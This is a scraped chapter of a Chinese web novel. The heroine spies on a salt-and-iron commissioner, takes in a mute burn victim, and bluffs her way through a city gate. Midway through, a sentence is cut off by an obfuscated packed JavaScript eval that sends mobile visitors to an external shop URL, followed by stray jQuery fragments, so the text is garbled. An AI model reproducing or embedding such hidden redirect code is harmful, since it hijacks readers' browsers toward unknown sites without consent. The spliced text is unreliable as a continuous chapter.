文趣网 > 都市小说 > 上朝通勤三时辰,反手夺权当女帝 > 105. 下一章晚点补
    秦怀谨刚要走,先前在窄路看到的那人竟也出现在了后院内。

    这次她看得清清楚楚,此人肤如凝脂,白里透粉,和年画娃娃有的一拼。

    她估不准年龄,觉着这人顶多三十来岁的样子,不是很老态。

    但他这般明晃晃的往卫玉姚和秦羽漪所在之处走,还没有被卫玉姚的人阻拦,想来就是方才她偷听到的,卫玉姚口中的盐铁转运使了。

    不过他们接下来要聊的事情,她也已经提前知道大半了,没有留下继续听墙角的必要了。

    索性秦怀谨准备趁着人没注意到她的时候,先行离开。

    她回到庙门前时,福顺还蹲在路边的树丛里,眼睛死死盯着卫家的马车。

    看见她出来,他赶紧站起来,拍了拍身上的草屑。

    “小姐,我看那青帷马车旁有个车夫守着。我就拿石子丢过去引开了一小会,只来得及弄松车轮。”

    说着,福顺伸出手掌,里边赫然躺着一小节木棍。

    是车轴销,用来固定车轮的。

    短短的时间里,让福顺独自去搞破坏,能顺走个最重要的东西,已经很好了。

    就算真的把卫玉姚的马车毁了,又能如何呢?

    只会让她们临时落魄片刻。

    而她还是需要在朝堂上做文章,才能彻底弄垮他们。

    “干的漂亮。”

    秦怀谨不吝啬的夸赞了福顺,随后拿起车轴销。

    本想丢出去,又怕卫玉姚运气太好,能顺利找回来。

    于是她放进袖子里,让福顺快些回城。

    马车驶上官道时,她掀开帘子,往后看了一眼。

    那座小庙缩在矮山的山坳里,远远看去,跟来时没什么两样,只是她心里已经有了一个需要去验证的猜测。

    盐铁转运使,富甲一方,手握一省盐铁之利,贪墨成风。

    如果他真的贪了很多钱,又跟皇贵妃搭上了关系,那这些钱最终会流向哪里?

    秦铭珏最近动作频繁,又是朝堂夺权又是军需订单,桩桩件件都要钱。

    光靠他定王府的进项,恐怕撑不住这么大的摊子。

    如果皇贵妃为了给儿子铺路,把盐铁转运使的贪墨所得暗中转到定王府,她目前那些证据就不够用了,顶多扳倒一个皇贵妃,而不是一整个势力。

    往后他们还可以继续支持下一个皇贵妃,或者定王。

    秦怀谨双手抱在胸前,嘴角左右来回撇着。

    盐铁转运使……

    她决定先把盐铁转运使的事查清楚再说。

    至于秦羽漪和亲还是嫁给谁的事,且再观望观望吧。

    马车行驶了许久,都出奇的平稳迅速,以至于福顺突然放慢速度,秦怀谨都以为是快到城门口了。

    直到马车缓缓停下,福顺颤颤巍巍的声音从前端传来。

    “小姐,有,有人,拦车。”

    秦怀谨掀开车帘一角,看见一个人影直挺挺地跪在路中间,挡住了去路。

    周遭的路已经平滑了不少,想来是走上了官道,离京城不远了。

    秦怀谨看周围没人,这才打量起拦路之人。

    那人衣衫褴褛,破布条似的挂在身上,露出来的皮肤上全是烧伤后结痂的疤痕,从脖颈一直蔓延到脸颊,几乎看不出原本的五官。

    他跪在那里,嘴里反复嘟囔着什么,声音沙哑含混,像是一把被火燎过的嗓子再也发不出完整的音节。

    秦怀谨听了好几遍才分辨出来,他在说"火"。

    不说也能看得出来,他身上的皮肤不是烫伤,就是烧伤的。

    "小姐,这人……"福顺攥着缰绳,不知道该赶还是该扶。

    秦怀谨盯着那人看了几息,又抬头看了看不远处的城门。

    天色还早,城门进出的人不算多,但已经有几个路过的百姓在朝这边张望了。

    她把帘子放下,低声说了句,"扶他上车。"

    福顺愣了一下,但没多问,翻身下车,把那人的胳膊搭在自己肩上,半扶半拖地弄到了马车旁。

    那人站不起来,膝盖像是受了伤,一碰就往下瘫。

    秦怀谨从车里伸手,两人合力把他拽了上来。

    车厢里顿时弥漫着一股焦糊的气味,混着泥土和汗的酸味,说不上来是什么感觉,让人心里堵得慌。

    那人缩在车厢角落里,还在嘟囔"火",声音低得像在跟自己说话。

    秦怀谨看了他一眼,没有嫌弃的意思,只有对他过去经历的探究。

    “是不是大火把嗓子熏着了,说不出话来?”

    那人眨巴着眼睛,手放在面前比划起来。

    同一个动作比划了三回,秦怀谨愣是一点没看懂。

    急的他又一次张嘴,“啊……大,大……”

    嘶哑的声音让人下意识就想要皱眉,但秦怀谨为了了解他的情况,还是忍住了。

    结果听了半天后,她得到的答案是“大火”。

    一个见到此人,就能得到的答案。

    “你是说大火?”

    秦怀谨见那人点头,自己最后的一丝耐心就这么消失了。

    她叉着腰,叹气道,“我知道你因为火,大火变成现在这个样子了。就没有其他能说的了吗?”

    她原本就只想说是场火,没特意强调大火的,可那人在她说话间,对于“大火”特别的在意。

    反反复复比划着大小,直到秦怀谨改成了“大火”,他才满意的点头。

    两人交流实在太费劲了,加上时间的流逝,马上城门也要关了,秦怀谨没办法带着这个来路不明的人进京的。

    风险太不可控了。

    但她知道个地方,能让这人呆着,还能治治他身上的毛病。

    只是又要再走一遍刚才的路,秦怀谨已经要提前心疼自己的屁股了。

    “你现在说话也不方便,我给你找个大夫给你看病,等你嗓子好了,皮肤恢复了,咱们再聊其他事,如何?”秦怀谨想了想,对方拦路应该也是有自己想法的,又补道,“或者你有什么别的想法?要不你写我手上?”

    但找补完,秦怀谨又意识到了新的问题。

    对方穿着破破烂烂,兴许没受过教育。

    倘若家境不错,有能力受教育,学点字词是正常的,那样也应该有个换洗衣服了。

    秦怀谨再度提供了新的

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17626742|202062||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    选项,“你要是同意就点头吧。要是还有什么别的……”

    她还没说完,那人已经在点头。

    这就好办多了。

    秦怀谨忍不住拍手叫好,“那行,我让福顺,就是刚才扶你上来的,他,对,是他。他带你去找大夫。”

    对方再度点头,秦怀谨也再度看到了希望。

    她继续道,“大夫在山上,那环境不错,适合你养病。记得听大夫的话,不要乱来,有什么事都等病好了再说。”

    “我吗?我要回京有事,就不跟你们再过去一趟了。你放心,你若是相信我,那大夫是我的人,她也是可以相信的。”

    秦怀谨交代完,以为对方都听进去了,都已经打算下车了,结果那人再次出声了。

    “火,火,大火,大……”

    秦怀谨一拍脑门,自己这是白忙活了。

    她索性也不和这人闲扯了,后退着下了马车。

    “把他带去山上吧,让陈茵给他看下脑子。”

    秦怀谨是真的受不了了,要不是把人丢路边不太人道,她都不想管了。

    “对了,今天来回来去的跑,这马估计也该有脾气了,你且等明早再回京吧。”

    秦怀谨交代完,独自走到了城门口。

    城门口三三两两的人背着包裹,走到城门口时,几乎无一例外的被拦了下来。

    直到拦下来的人拿出一个小册子,官兵拿去后看了几眼,又对了几句话,才放行。

    这一幕弄得秦怀谨背后冒冷汗。

    方才出京,她坐着马车,还是以五皇子怀王的身份出城的。

    现在回来,她独自一人不说,还是穿的女装……

    她哪有什么路引。

    刚才只顾着回京直奔私宅,偷了个懒,没换回男装。

    谁知道路上会遇到个奇奇怪怪的病人。

    秦怀谨甚至不敢正面朝向城门,都是看着另一面,这样大家还会误以为她在等什么人,一直没过来而已。

    确实是在等,等一个好心人带她一块进去。

    站着也是站在,闲来无事,她想起之前看的影视剧,主角好像去哪都畅通无阻的,唯一有阻碍了,一定是遇到了百年难遇的机遇。

    她这是,也要有机遇了?

    “喂!马上关城门了,还进不进去?”

    身后的官员也看不下去了,主动向秦怀谨大喊着提醒。

    秦怀谨确实站了好一会了,有点站不稳,体力支撑不住了,腿上发酸,脚底也疼的不行。

    她决定赌一把。

    “进的,进的。”

    秦怀谨脸上陪着笑,试图蒙混过关,不说路引,就是往前走。

    官兵们各有各的忙,就是没人忙着看她的路引。

    秦怀谨也是多嘴,走都走了,还要问一句,“为什么不看我的路引?”

    官员们理都懒得理,“赶紧走,事儿真多。”

    秦怀谨愣了一下,脚步却没停,快步穿过了城门洞。

    身后的官兵已经懒得再看她第二眼,转头去招呼下一个进城的人了。

    她走出十几步远,才慢慢呼出一口气,心跳还是比平时快了几分。